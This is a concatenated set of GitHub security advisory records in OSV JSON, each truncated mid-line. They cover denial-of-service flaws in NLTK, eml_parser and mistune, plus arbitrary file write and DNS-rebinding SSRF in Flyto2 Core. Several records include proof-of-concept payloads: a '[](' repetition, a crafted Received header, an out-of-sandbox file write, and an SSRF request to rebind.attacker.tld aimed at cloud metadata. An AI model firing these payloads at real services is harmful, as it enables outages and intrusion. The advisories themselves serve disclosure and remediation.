{"schema_version":"1.9.2","id":"GHSA-j8g8-j4j7-8j54","published":"2026-11-19T23:54:59Z","modified":"2026-11-20T00:00:04.063029644Z","aliases":["CVE-2026-128139"],"summary":"NLTK: XMLCorpusView comment and CDATA parsing permits quadratic CPU denial of service","details":"> **affected**: PyPI `nltk` `>= 3.6` — `nltk.corpus.reader.xmldocs.XMLCorpusView` streaming read (and the `nps_chat` / `framenet` readers built on it)\n> **dynamically reproduced**: `3.6` (6/6 checks), `3.9.2` (6/6), `3.10.3` (6/6) and `develop` `6818767b9` (6/6)\n\n---\n\n_Source references (`nltk/corpus/reader/xmldocs.py:NNN`) are to commit `6818767b99c24659107eb2be9bccd32a3d4bf045` (`develop`, `v3.10.3-15-g6818767b9`). The released `v3.10.3` wheel's `xmldocs.py` is byte-identical to that commit, so the same line numbers apply to the released wheel._\n\n### Summary\n\n**An attacker who can make a victim read a well-formed XML corpus file whose body contains one large comment or CDATA section can pin a CPU core for a time quadratic in the file size, because `XMLCorpusView._read_xml_fragment` (`nltk/corpus/reader/xmldocs.py`) re-runs a linear whole-buffer validation after every 1 KiB block while the comment/CDATA terminator is still ahead.** `XMLCorpusView` is NLTK's documented streaming API for XML corpora and is instantiated directly by the `NPSChatCorpusReader` and `FramenetCorpusReader` readers; the module header (`xmldocs.py:16-20`) explicitly handles untrusted corpus XML. The `in_tag` guard added to this function for GHSA-vp2x covers only a single oversized `<...>` tag and leaves the CDATA/comment path quadratic in the current release.\n\n### Details\n\nRoot cause: `_read_xml_fragment` (`xmldocs.py:273-338`) accumulates the file into one `fragment` string in `_BLOCK_SIZE` (1024) character chunks (`xmldocs.py:123, 298-299`). After every block that is not yet a well-formed prefix, the fragment is re-validated against `_VALID_XML_RE`. Two whole-buffer operations dominate:\n\n```python\n# xmldocs.py:308\nif not in_tag and self._VALID_XML_RE.match(fragment): # whole-buffer match (O(len))\n return fragment\n# xmldocs.py:312\nif re.search(\"[<>]\", fragment).group(0) == \">\": # O(1) for this input class:\n ... # the document starts with '<'\n# xmldocs.py:329\nif self._VALID_XML_RE.match(fragment[:last_open_bracket]): # whole-buffer prefix match (O(len))\n ...\n```\n\nFor this input class the `re.search` probe at `xmldocs.py:312` is O(1): the fragment always starts with `<` (e.g. `<root>…`), so the first `<`/`>` character is at offset 0 and it never contributes cost. The quadratic cost comes entirely from the two whole-buffer regex matches at `xmldocs.py:308` and `xmldocs.py:329` (the latter scans the buffer up to the most recent `<`, which for this input sits near the end of the buffer).\n\n`_VALID_XML_RE` (`xmldocs.py:238-249`) is a *linear* regex (its tempered-dot comment/CDATA bodies `(?:(?!-->).)*` / `(?:(?!\\]\\]>).)*` scan left-to-right in O(length) — confirmed by the embedded script's single-match check), but for a fragment whose terminator is far ahead the *match itself fails after scanning the whole buffer*. With an unclosed-across-blocks CDATA or comment, **every one of the n/1024 blocks** pays O(current buffer length) on lines 308 and 329, for a total of ~O(n²) character operations.\n\nThe `in_tag` guard added for GHSA-vp2x (`xmldocs.py:283-305`) tracks only bare `<`/`>` characters: it is `True` inside an unclosed `<...>` tag and, in that state, skips only the line-308 match. It never represents \"the fragment sits inside an unclosed CDATA or comment\" — XML allows arbitrary `<`/`>` inside those constructs — so both the line-308 match and the line-329 backtrack match still fire on every block for a CDATA/comment fragment. The comment block at `xmldocs.py:283-289` even documents the intended linearity contract (\"re-running it on every 1 KiB block otherwise makes a single oversized tag O(n^2) (CWE-407)\"); the guard implements it for the tag branch only.\n\nThe single-match cost is linear, not super-linear: the embedded script measures `_VALID_XML_RE.match()` on 512 KiB → 1 MiB → 2 MiB unclosed-CDATA buffers and gets ≈ 0.074 s → 0.142 s → 0.280 s (≈ 1:1.9:3.8, i.e. linear), asserting the 4× ratio stays well below the quadratic bound. The quadratic total therefore comes from re-running those linear matches per block — the exact CWE-407 pattern the in-tag guard was introduced to eliminate.\n\n**Version nuance** (all dynamically verified):\n\n- **`3.10.3` / `develop` (guard present)**: the pinned regex validates CDATA correctly, so both the comment and the CDATA attack documents read successfully and return; both scale super-linearly (t(4n)/t(n) ≈ 13-16; linear would be ≈ 4). The oversized single-tag control reads linearly (ratio ≈ 4.0), proving the quadratic cost is specific to the unguarded CDATA/comment path.\n- **`3.6` / `Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-m4g8-47f9-h588","published":"2026-11-19T22:47:08Z","modified":"2026-11-19T23:00:36.652146365Z","aliases":["CVE-2026-129307"],"summary":"eml_parser: Algorithmic-complexity DoS (O(n^4) regex backtracking) in Received-header parsing","details":"### Summary\n\n`eml_parser.routing.parserouting()` dynamically builds a regex from up to four greedy `.*` groups (`from (?P<from>.*)by (?P<by>.*)with (?P<with>.*)for (?P<for>.*)`) terminated by an escaped literal of the date extracted from a **normalized** copy of the `Received` header. Because the date literal comes from the normalized text but is searched in the original line, a crafted header can make the trailing literal unmatchable; the search then fails at every start position only after exhaustively backtracking the four nested greedy groups — **O(n^4)** in header length. A single ~5.9 KB email pins one CPU core for ~12 seconds; doubling the input multiplies the cost ~25x, so a ~13 KB header takes minutes and a ~25 KB header effectively hangs the parse worker.\n\n### Details\n\nRoot cause: `eml_parser/routing.py:140-148` (v3.0.3):\n\n```python\nreg = ''\nfor item in tout:\n reg += item[1] + '(?P<' + item[1].strip() + '>.*)' # e.g. 'from (?P<from>.*)'\nif npdate:\n reg += eml_parser.regexes.escape_special_regex_chars.sub(r\"\"\"\\\\\\1\"\"\", npdate)\nreparse = re.compile(reg)\nreparseg = reparse.search(line) # searched in the ORIGINAL line\n```\n\n`npdate` is extracted from `npline`, a normalized copy of the header (spacing added around `(`, `)`, `;` at routing.py:79-81; parenthesized text removed at line 82; whitespace collapsed at line 83), so it is not guaranteed to be a substring of `line`. An unbalanced `(` in the date tail (e.g. `+0000(comment`) becomes ` ( comment` in `npline` but stays `(comment` in `line`, making the mandatory trailing literal unmatchable.\n\nData flow: attacker-controlled `Received:` header (arbitrary length; the custom policy sets `max_line_length=0`) -> `parser.py:352-355` (lowercased, whitespace-flattened, no size cap - unlike body text, which is sliced) -> `parser.py:365` `routing.parserouting(...)` -> O(n^4) search. Every Received header is processed, multiplying the cost, and the behavior cannot be disabled via any `EmlParser` option.\n\nMeasured on Python 3.14 (identical with stdlib `re` and the optional `regex` module):\n\n| Segments | Header size | Wall time |\n|---|---|---|\n| 20 | 1.4 KB | 0.022 s |\n| 40 | 2.9 KB | 0.43 s |\n| 80 | 5.8 KB | 12 s |\n| 160 (extrapolated) | 13 KB | ~5 min |\n\ncProfile attributes 83% of wall time to `re.Pattern.search` called from `routing.parserouting`. The parse completes normally (no exception) - it is pure CPU exhaustion.\n\nThis is distinct from GHSA-g47v-rwmh-r9f8 (recursion DoS in `get_raw_body_text()`, fixed via `MULTIPART_RECURSION_LIMIT` - different function and mechanism) and from issue #48 (old `url_regex_simple` body-path hang; body regexes now run on ~600-char slices, capping impact - the Received-header path is unsliced).\n\n### PoC\n\n```python\nimport eml_parser\n\nseg = 'from h{0}.example.com by mx{0}.example.com with esmtp for u{0}@example.com '\nreceived = ''.join(seg.format(i) for i in range(80)) + ';Mon, 01 Jan 2024 00:00:00 +0000(comment'\n# NB: unbalanced '(' in the date tail -> the normalized date literal never occurs in the\n# searched line, so the dynamic 4-group greedy regex can never match and backtracks O(n^4).\n\neml = (\n 'Received: ' + received + '\\r\\n'\n 'From: attacker@evil.example\\r\\n'\n 'To: victim@target.example\\r\\n'\n 'Subject: poc\\r\\n'\n 'Content-Type: text/plain\\r\\n'\n '\\r\\n'\n 'hello\\r\\n'\n).encode()\n\nimport time\nt0 = time.perf_counter()\neml_parser.EmlParser().decode_email_bytes(eml)\nprint(f'{time.perf_counter() - t0:.2f}s') # ~12 s for a 5.9 KB input\n```\n\nObserved on v3.0.3: `eml size: 5887 bytes`, `decode_email_bytes() wall time: 12.33s`, message parses fine. Affected APIs: `decode_email`, `decode_email_bytes`, `parse_email`.\n\n### Impact\n\nAlgorithmic-complexity denial of service. Any application that parses untrusted email with eml_parser (mail gateways, phishing-analysis and forensics pipelines, ticketing systems) can have a parser worker pinned by a single small email; an attacker sending a steady trickle of such messages keeps workers permanently busy (CPU exhaustion, queue backlog) even behind per-message timeouts. No crash, corruption, or information leak - availability impact only.\n\nReporter credit: Niranjan Ganesan (https://securityinsights.io/, @iam-niranjan)\n\n\n### Resolution\n\nAn algorithmic complexity vulnerability ($O(n^4)$ ReDoS) in `eml_parser.routing.parserouting()` was resolved.\n\nPreviously, `parserouting()` dynamically constructed a regex using multiple greedy `.*` capture groups appended with a normalized date string (`npdate`). Because `npdate` was extracted from a normalized copy of the `Received` header line, formatting mismatLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-p34x-fmph-9fjx","published":"2026-11-20T00:09:02Z","modified":"2026-11-20T00:15:05.454294278Z","aliases":["CVE-2026-77312"],"related":["CVE-2026-77312"],"summary":"Flyto2 Core: Arbitrary file write via unguarded data.*/file.* modules (incomplete fix of CVE-2026-67429)","details":"# [CRITICAL] Arbitrary file write via unguarded `data.*` / `file.*` write modules — incomplete fix of GHSA-2956\n\n- **CWE:** CWE-22 (Path Traversal) / CWE-73 (External Control of File Name or Path); impact reaches CWE-94 (code execution via file overwrite).\n- **CVSS v3.1:** `AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H` = **9.3 Critical** (S:C because a write escapes the intended sandbox confinement into the host filesystem / other components).\n - AV:N — reachable via the MCP server / recipe engine (`execute_module`). AC:L — deterministic. PR:L — any client able to run a module/recipe (the same attacker model as GHSA-2956; unauthenticated on the HTTP MCP surface per CVE-2026-55786). UI:N. S:C — escapes `FLYTO_SANDBOX_DIR`. C/I/A:H — arbitrary-content write to any absolute path → overwrite app code / recipes / `~/.bashrc` / cron / `authorized_keys` → RCE.\n- **Affected component:** `flyto-core` (PyPI `flyto-core`), HEAD `ae2b38e` (v2.26.7 line). Modules `data.csv.write` (`src/core/modules/atomic/data/csv_write.py`), `data.json_to_csv` (`.../data/json_to_csv.py`), `file.copy` (`.../file/copy.py`), `file.move` (`.../file/move.py`) — and the broader `data.*`/`file.*`/report-writer families that do not call the path guard.\n- **Relationship:** **Incomplete fix of GHSA-2956-977x-2w3r** (Critical arbitrary file write, patched in v2.26.6 by commit `d5f89d7`). That fix routed a hand-picked module list (`image.download/convert/resize/crop/compress/rotate/watermark/qrcode_generate`, `document.excel_write/pdf_fill_form/word_to_pdf/pdf_to_word`, `browser.pagination` checkpoint) through `validate_path_with_env_config()`. It did **not** cover the `data.*` and `file.*` write families, which still write a client-controlled path with no confinement.\n\n## Reachability (hop-by-hop, guards resolved)\n1. Client invokes a module via the recipe engine / MCP `execute_module` (`src/core/mcp_handler.py`, `mcp_server.py`) — the same surface as GHSA-2956 / CVE-2026-55786.\n2. `data.csv.write` reads `file_path = params.get('file_path')` and `data` (both client-controlled). Its only path check is `if '..' in file_path: raise` — a denylist that does **not** block absolute paths.\n3. It calls `os.makedirs(os.path.dirname(file_path), exist_ok=True)` then `open(file_path, 'w')` and writes `data`. **No call to `validate_path_with_env_config()`** — so `FLYTO_SANDBOX_DIR` confinement is never applied.\n4. `data.json_to_csv` (`output_path`), `file.copy` / `file.move` (`shutil.copy2`/`shutil.move` to `destination`) have **no path check at all**.\n5. An absolute path such as `/home/<user>/.bashrc`, `/app/src/core/modules/.../<mod>.py`, or a `.flyto` recipe file is written verbatim, outside the sandbox.\n\n**Guard analysis:** the GHSA-2956 enforcement is per-module (e.g. `image/download.py:21` imports and calls `validate_path_with_env_config`). There is **no central path enforcement** in the runtime — `runtime/languages.py`'s `PathTraversalError` guards *plugin entry-point* loading, not module output paths. So a module that omits the per-module call is entirely unconfined.\n\n## Root cause\nThe remediation for GHSA-2956 confined writes by adding a per-module `validate_path_with_env_config()` call to an explicit list of modules, rather than enforcing confinement centrally. Any file-writing module absent from that list — the entire `data.*` and `file.*` families here — remains an arbitrary-write primitive. `data.csv.write`'s `'..'`-substring check is a denylist that misses absolute paths.\n\n## Impact\nArbitrary file write with attacker-controlled content and path, escaping `FLYTO_SANDBOX_DIR`. Overwriting a Python module under the install dir, a `.flyto` recipe, a shell rc, a crontab, or `~/.ssh/authorized_keys` yields code execution / full host compromise — the same impact GHSA-2956 was rated Critical for.\n\n## Executable PoC (benign sentinel, local only)\n`FLYTO_SANDBOX_DIR` is set to the intended confinement; the module writes *outside* it while the GHSA-2956 guard rejects the same path.\n\n```python\nimport os, sys, asyncio\nSBX = os.environ.setdefault('FLYTO_SANDBOX_DIR', \"/tmp/flyto_sbx\"); os.makedirs(SBX, exist_ok=True)\nsys.path.insert(0, \"<flyto-core>/src\")\nOUT = \"/tmp/flyto_PWNED_OUTSIDE.csv\" # absolute, outside the sandbox, no \"..\"\nfrom core.utils import validate_path_with_env_config, PathTraversalError\ntry:\n validate_path_with_env_config(OUT); print(\"[guard] UNEXPECTED allow\")\nexcept PathTraversalError:\n print(\"[guard] GHSA-2956 guard REJECTS out-of-sandbox path (as intended)\")\nasync def call(W, p): return await W(p, {}).execute()\nfrom core.modules.atomic.data.Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-pcm8-fqjx-rvx8","published":"2026-11-19T23:54:33Z","modified":"2026-11-20T00:00:04.063068184Z","aliases":["CVE-2026-128140"],"summary":"NLTK: Downloader cyclic collection indices cause an infinite closure walk","details":"> **affected**: PyPI `nltk` `>= 3.6.7` — `nltk.downloader` index parsing (`Downloader._update_index`)\n> **dynamically reproduced**: `nltk` `3.6.7` (4/4 checks), `3.9.2` (4/4), `3.10.3` (4/4), and `develop` `6818767b9` (4/4)\n\n---\n\n_Source references (`nltk/downloader.py:NNN`) are to commit `6818767b9` (`develop`, `v3.10.3-15-g6818767b9`). The `v3.10.3` tag and the released `3.10.3` wheel carry the identical code at the identical line numbers (the vulnerable closure BFS sits at `downloader.py:1300-1310`). Dynamically verified wheels additionally show the same defect at `downloader.py:972` (`3.9.2`) and `downloader.py:987` (`3.6.7`)._\n\n### Summary\n\n`Downloader._update_index` (`nltk/downloader.py:1253-1313`) is the mandatory first step of every downloader operation (`download()`, `info()`, `packages()`, `collections()`, `list()`, `status()`). After replacing each `<item ref=\"…\">` string with the actual `Collection`/`Package` object (`downloader.py:1285-1290`), it computes each collection's recursive package closure with a breadth-first walk that has **no visited set and no depth cap**:\n\n```python\n# nltk/downloader.py:1300-1310\nfor collection in self._collections.values():\n packages = {}\n queue = [collection]\n for child in queue:\n if isinstance(child, Collection):\n queue.extend(child.children)\n elif isinstance(child, Package):\n packages[child.id] = child\n collection.packages = packages.values()\n```\n\n**A self-referencing or mutually-referencing index — e.g. `<collection id=\"a\"><item ref=\"a\"/></collection>` — turns `a.children` into an object-level cycle, and the `for child in queue: queue.extend(child.children)` loop appends to the very list it is iterating, so the queue grows forever.** The function never returns: CPU spins at 100% and memory grows without bound until the process is killed or the host runs out of memory. The identical finite input (one collection containing one package) completes in ~0.2 s on the control index, so the input is perfectly ordinary in size — only its self-reference is abnormal, and nothing validates it.\n\n### Details\n\nRoot cause is the combination of three unguarded steps:\n\n1. `Collection.fromxml` (`nltk/downloader.py:362-369`) stores each `<item ref=\"…\">` attribute verbatim as a string. It never checks whether a ref targets the collection's own id, or participates in a reference cycle.\n2. `_update_index` (`nltk/downloader.py:1285-1290`) replaces those ref strings with the live objects from `self._collections` / `self._packages`. A self- or mutual-reference therefore becomes an object-level cycle in `children`.\n3. The closure walk (`nltk/downloader.py:1300-1310`) iterates `for child in queue` while doing `queue.extend(child.children)` inside the loop. Python's list iterator consumes elements appended during iteration, so with a cycle the iterator and the queue length advance in lockstep forever. There is no `visited` set, no node-count cap, and no cycle detection.\n\nThe input is the data-server index that the downloader is designed to fetch and trust: `_update_index` pulls it with `safe_parse(urlopen(self._url))` (`nltk/downloader.py:1269-1271`) and parses `<collections>/<collection>` elements with no structural validation. The index URL is a user-configurable product feature (`server_index_url` constructor argument, CLI `-u` / `--url` at `downloader.py:3052-3058` — the option's `dest` is `server_index_url` — plus `NLTK_DOWNLOAD_URL` and the Shell/GUI \"Set Server URL\"), so an operator who uses a third-party mirror, or whose configured mirror is compromised, delivers the malicious index into exactly this code path on the next download or query.\n\n### PoC\n\nThe self-checking reproduction script embedded below runs the attack against a `file://`-hosted index (no network server needed; the hardened `nltk.pathsec.urlopen` accepts local `file://` URLs) and a matching acyclic control index, in **separate child processes under an address-space cap (`RLIMIT_AS`)**. That is the key to demonstrating the vulnerability safely and precisely: the control process completes under the cap, while the attack process — the same function, the same caller, the same finite 2-entry index — cannot finish and is aborted by `MemoryError` at `queue.extend(child.children)`, proving both the hang (the function never returns) and the unbounded memory growth (a 2-entry index growing until the address-space cap is exhausted). Without the cap the loop simply runs forever.\n\n**Scope note**: dynamically verified on the released `3.6.7`, `3.9.2`, and `3.10.3` wheels and on `develop` `6818767b9`. `3.6.0`–`3.6.6` share the identical BFS code path (verifLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-pfg2-w999-497v","published":"2026-11-20T00:09:23Z","modified":"2026-11-20T00:15:06.487555955Z","aliases":["CVE-2026-77313"],"summary":"Flyto2 Core: SSRF guard validates the resolved IP but connects by hostname, allowing DNS-rebinding TOCTOU","details":"## Summary\n`validate_url_ssrf` resolves the hostname, checks the IP against private ranges, then **discards the IP and returns the hostname URL string**. aiohttp performs a fresh, independent DNS resolution at connect time. An attacker controlling DNS for a hostname (TTL 0, alternating public IP and internal IP) passes validation on the first lookup and connects to the internal IP on the second — a classic check-then-use race. SECURITY_SSRF.md line 63 explicitly claims DNS-rebinding is prevented; it is not.\n\n## Root Cause\n`src/core/utils.py:523` returns the hostname URL after validation; the resolved IP is never pinned. A repo grep of `http/` and `utils.py` for `TCPConnector` / `resolver` / `response.history` / `on_request_redirect` / IP-pinning returns NONE. Each module builds a fresh `ClientSession` per call → the connect-time `getaddrinfo` is independent of the validation-time lookup.\n\n## Impact\nDefeats the SSRF guard on ALL modules that call it (readable internal fetch). Independent of IP-range completeness — the private IP is never presented to `is_private_ip`. Requires attacker DNS control + winning the resolution race → AC:H.\n\n## Proof of Concept\nCode-proven: `validate_url_ssrf` returns the hostname (utils.py:523); no pinned-IP connector anywhere. Two independent resolutions occur (validation-time and aiohttp connect-time).\n```\nattacker DNS: rebind.attacker.tld TTL 0, alternating public IP and the cloud metadata IP\nexecute_module http.get {\"url\":\"http://rebind.attacker.tld/latest/meta-data/...\"}\n```\n\n## Attack Chain\n1. Entry: `http.get {url:\"http://rebind.attacker.tld/...\"}`. Guard: `validate_url_with_env_config`. Bypass proof: `getaddrinfo(rebind.attacker.tld)` returns the public IP, `is_private_ip=False` (utils.py:511-519); returns the hostname URL (:523) — the IP is discarded.\n2. Sink: `session.get(\"http://rebind.attacker.tld/...\")` (get.py:116). aiohttp performs a FRESH independent `getaddrinfo` at connect → now resolves to the internal IP. Bypass proof: no `TCPConnector`/`AsyncResolver`/pinned-IP in `http/` (grep confirms none). Two lookups.\n3. Impact: internal fetch, body returned.\n\n## Bypass Evidence\n`utils.py:523` returns the hostname string, not a pinned IP; grep confirms no IP pinning or custom resolver anywhere on the path; fresh `ClientSession` per call guarantees an independent second resolution.\n\n## Affected Versions\n`<= 2.26.6` — `utils.py:523` present on latest release tag; no pinning added on HEAD.\n\n## Suggested Fix\nResolve the hostname once, pin the validated IP, and connect to that IP (custom `TCPConnector`/resolver) — reject any connect-time resolution that differs. This is the fix SECURITY_SSRF.md already claims is in place.\n\n## Credit\n\nVulnerability discovered by zx (Jace).","affected":[{"package":{"name":"flyto-core","ecosystem":"PyPI","purl":"pkg:pypi/flyto-core"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.26.8"}]}],"versions":["1.0.0","1.0.1","1.0.2","1.0.3","1.0.4","1.0.5","1.0.6","1.0.7","1.0.8","1.0.9","1.1.0","1.1.1","1.11.0","1.12.0","1.13.0","1.14.0","1.14.1","1.14.2","1.15.0","1.16.0","1.16.1","1.16.10","1.16.2","1.16.3","1.16.4","1.16.5","1.16.6","1.16.7","1.16.8","1.16.9","1.2.0","1.3.0","1.4.0","1.5.0","1.5.1","1.5.2","1.5.4","1.6.0","1.6.1","1.6.2","1.6.3","1.6.4","1.6.5","1.7.0","1.7.1","1.7.2","1.7.3","1.7.4","1.7.5","1.7.6","1.7.7","1.7.8","1.7.9","1.8.0","1.8.1","1.8.10","1.8.11","1.8.12","1.8.13","1.8.14","1.8.15","1.8.16","1.8.17","1.8.2","1.8.3","1.8.4","1.8.5","1.8.6","1.8.7","1.8.8","1.8.9","1.9.0","2.0.0","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","2.1.1","2.1.2","2.1.3","2.1.4","2.10.0","2.11.0","2.12.0","2.12.1","2.12.13","2.12.15","2.12.16","2.12.17","2.12.18","2.12.19","2.12.2","2.12.20","2.12.21","2.12.22","2.12.23","2.12.24","2.12.25","2.12.26","2.12.27","2.12.28","2.12.3","2.12.4","2.12.5","2.12.6","2.13.0","2.13.1","2.13.2","2.13.3","2.13.4","2.14.0","2.15.0","2.15.1","2.15.2","2.15.3","2.16.1","2.16.3","2.16.4","2.17.0","2.17.1","2.17.2","2.17.3","2.17.4","2.17.5","2.17.6","2.17.7","2.17.8","2.18.0","2.18.1","2.18.10","2.18.11","2.18.2","2.18.3","2.18.4","2.18.5","2.18.6","2.18.8","2.18.9","2.19.0","2.2.0","2.2.1","2.2.2","2.20.0","2.20.1","2.20.2","2.20.3","2.20.4","2.23.0","2.23.1","2.23.2","2.23.3","2.24.0","2.24.1","2.24.2","2.24.3","2.24.4","2.25.0","2.25.1","2.25.10","2.25.11","2.25.12","2.25.13","2.25.14","2.25.15","2.25.16","2.25.17","2.25.18","2.25.19","2.25.2","2.25.20","2.25.21","2.25.22","2.25.23","2.25.24","2.25.25","2.25.26","2.25.27","2.25.3","2.25.4","2.25.5","2.25.6","2.25.7","2.25.8","2.25.9","2.26.0","2.26.1","2.26.2","2.26.3","2.26.4","2.26.5","2.26.7","Line truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-phmp-hrw4-r36r","published":"2026-11-19T22:44:42Z","modified":"2026-11-19T23:00:36.648802260Z","aliases":["CVE-2026-97698"],"summary":"Mistune: Quadratic-time DoS in parse_link_href via unbounded parenthesis scan on empty-label links","details":"## Resolution\n\n**Fixed in Mistune 3.3.4.** Upgrade to 3.3.4 or later.\n\n- Affected versions: `< 3.3.4`\n- First patched version: `3.3.4`\n- Fix: https://github.com/lepture/mistune/compare/v3.3.3...v3.3.4\n\nThe reported payload was reproduced against the 3.3.3 release tag and verified to scale approximately linearly against the 3.3.4 release tag.\n\n## Original report\n\nThe following report describes the issue before the fix.\n\n## Summary\n`parse_link_href` in mistune performs an unbounded parenthesis-balancing scan that runs to end-of-document on each unmatched `(`. Because the empty label `[]` bypasses the `no_close_bracket_before` high-water-mark guard, a single small document of the form `\"[](\" * N` causes O(N) openers to each drive an O(N) scan, producing O(N²) CPU on the **default** `mistune.html()` renderer with no plugins.\n\n## Root Cause\n`parse_link` matches the empty label `[]` (`parse_link_label(\"[](\",1)` returns `('', 2)`), so it reaches the `(` branch and calls `parse_link_href`. That function's scan loop (helpers.py:143-159) advances past characters and increments `level` on each `(`, never finding an unescaped `)` at `level==0`, so it runs to EOF and returns `None`. The cursor then advances only ~2 chars to the next `[](`. The `no_close_bracket_before` high-water mark that keeps the balanced-bracket link path linear is never entered because the empty label matches before that branch; `_mark_no_link_before` only advances past the 2-char label, not the href region.\n\n## Impact\nA single unauthenticated request rendering untrusted markdown pins a worker at 100% CPU for tens of seconds. Measured on default `mistune.html`, no plugins: 6KB->0.80s, 12KB->3.15s, 24KB->12.5s, 48KB->49.8s (2x input -> ~3.9x time, clean O(n²)). This is the most severe of the mistune quadratic-DoS findings.\n\n## Proof of Concept\n```python\nimport mistune\nmd = mistune.create_markdown() # default HTML renderer, no plugins\nmd(\"[](\" * 16000) # ~48KB input stalls a worker ~50s\n```\n\n## Attack Chain\n1. Entry: rendered markdown body -> `\"[](\" * N` (3 bytes/unit, no plugins). Guard: none on input size (grep of markdown.py/core.py = no size/time cap). Bypass proof: no global guard exists.\n2. Check: `parse_link` guards at inline_parser.py:141 (`no_link_before`), :150 (`no_close_bracket_before`). Guard: high-water marks that linearize balanced-bracket links. Bypass proof: empty label matches (label != None) so the :150 branch is skipped entirely; `no_link_before` only crawls +2/opener because `parse_link_label` returns `('',2)`.\n3. Processing: `parse_link_href` (helpers.py:143) scans to EOF per `(` (unbalanced parens), returns `None`.\n4. Sink: O(N) openers x O(N) scan each -> O(N²) CPU.\n5. Impact: single ~48KB request stalls a worker ~50s (single-threaded); ~200KB approx minutes.\n\n## Bypass Evidence\n- `parse_link_label(\"[](\",1)` returns `('', 2)` — the empty label matches, so the balanced-bracket branch owning `no_close_bracket_before` is never entered.\n- `git log -S \"if c == \\\"(\\\":\" -- helpers.py` returns only refactor `5de41fb`; `parse_link_href` has NEVER received a DoS fix (all helpers.py DoS fixes targeted `parse_link_text`).\n- Empirical: the `[`*n unbalanced-bracket payload is LINEAR on HEAD (0.03->0.12s) while `[](`*n is O(n²) (3.99x per 2x) — proving the fix does not cover this branch.\n\n## Affected Versions\n`<= 3.3.3` (present on latest release tag v3.3.3 and HEAD `719107f`; no fix on HEAD).\n\n## Suggested Fix\nAdd a high-water mark for `parse_link_href` failed scans (mirroring `no_link_before`/`no_close_bracket_before`), or bound the parenthesis scan to a maximum length, so repeated failed href scans cannot each traverse the remaining document.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","affected":[{"package":{"name":"mistune","ecosystem":"PyPI","purl":"pkg:pypi/mistune"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.3.4"}]}],"versions":["0.1.0","0.2.0","0.3.0","0.3.1","0.4","0.4.1","0.5","0.5.1","0.6","0.7","0.7.1","0.7.2","0.7.3","0.7.4","0.8","0.8.1","0.8.2","0.8.3","0.8.4","2.0.0","2.0.0a1","2.0.0a2","2.0.0a3","2.0.0a4","2.0.0a5","2.0.0a6","2.0.0rc1","2.0.1","2.0.2","2.0.3","2.0.4","2.0.5","2.1.0","3.0.0","3.0.0a1","3.0.0a2","3.0.0a3","3.0.0rc1","3.0.0rc2","3.0.0rc3","3.0.0rc4","3.0.0rc5","3.0.1","3.0.2","3.1.0","3.1.1","3.1.2","3.1.3","3.1.4","3.2.0","3.2.1","3.3.0","3.3.1","3.3.2","3.3.3"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/11/GHSA-phmp-hrw4-r36r/GHSA-phmp-hrw4-r36r.json"}}],"references":[{"type":"WEB","url":"https://github.com/lepture/mistune/securitLine truncated
|
||||
@@ -0,0 +1 @@
|
||||
{"schema_version":"1.9.2","id":"GHSA-q4c8-9gwf-255x","published":"2026-11-19T23:48:39Z","modified":"2026-11-20T00:00:04.080602950Z","aliases":["CVE-2026-129231"],"summary":"NLTK: Quadratic-time DoS in SeekableUnicodeStreamReader.readline on an unterminated corpus line via per-iteration full-buffer rescan","details":"## Summary\n\n`SeekableUnicodeStreamReader.readline` in `nltk/data.py` assembles a line by repeatedly reading a block, appending it to a growing `chars` buffer, and recomputing `chars.splitlines(True)` over the entire buffer on every loop iteration. The read block size doubles only until it caps at 8000 characters, so for a single unterminated line of N characters the loop runs about N/8000 iterations and iteration k re-scans roughly 8000*k characters, giving O(N^2) total work. The default `size=None` used on the line-oriented corpus-reader read path means the early break never fires before end of file. An attacker who supplies a corpus file containing one very long line with no newline can force quadratic CPU consumption in the reader's process. This is the same growing-buffer re-scan algorithmic-complexity class the project already treats as advisory-worthy in sibling corpus readers.\n\n## Root Cause\n\nThe `readline` loop violates the expectation that reading a line costs time linear in the line length. On each pass it executes `chars += new_chars; lines = chars.splitlines(True)`, scanning the whole accumulated buffer again rather than only the newly read block. Because `readsize` is capped at 8000 (`nltk/data.py:1997-1998`), the number of iterations grows linearly with the line length while each iteration's scan cost also grows linearly, producing quadratic total cost. The loop exits only on end of file or when `size is not None`; since the line-oriented block readers call `stream.readline()` with no argument, `size` defaults to `None` (`nltk/data.py:1942`) and that early break is unreachable on this path. There is no length cap on the assembled line and no wall-clock backstop, because no regular expression is involved on this path and the `nltk.redos` timeout therefore does not apply.\n\n```text\nAffected function: nltk.data.SeekableUnicodeStreamReader.readline\nLoop with per-iteration full-buffer rescan: nltk/data.py:1968-2000\n chars += new_chars; lines = chars.splitlines(True) (nltk/data.py:1977-1978)\n readsize *= 2 capped at 8000 (nltk/data.py:1997-1998)\nDefault size=None on the corpus-view path: nltk/data.py:1942\nReachable via read_line_block/read_whitespace_block/read_wordpunct_block/\n read_blankline_block in nltk/corpus/reader/util.py, through _open's\n SeekableUnicodeStreamReader construction.\n```\n\n## Impact\n\nAn attacker who controls the bytes of a corpus file processed by a line-oriented NLTK corpus reader (encoding set, which is the common case) can craft one arbitrarily long unterminated line. Reading that line pins a single CPU core for time quadratic in the line length. The effect is recoverable CPU-availability degradation in the processing worker, not a crash: memory use remains linear and the operation completes once the buffer is exhausted. Because the constant factor is bounded by the 8000-character read cap, a meaningful denial of service requires a large crafted file, which keeps the severity in the low to medium range. The worst credible deployment is an automated document-ingestion service that feeds attacker-supplied uploads into such a reader with no human step; a more typical case where a victim manually loads an attacker-supplied corpus requires user interaction and is lower.\n\n## Proof of Concept\n\n`Requires only the nltk package under test on PYTHONPATH; no network access. Feeds one unterminated line of increasing length through SeekableUnicodeStreamReader.readline (size=None, the corpus-view path) and times each call.`\n\n```python\nimport io, time\nfrom 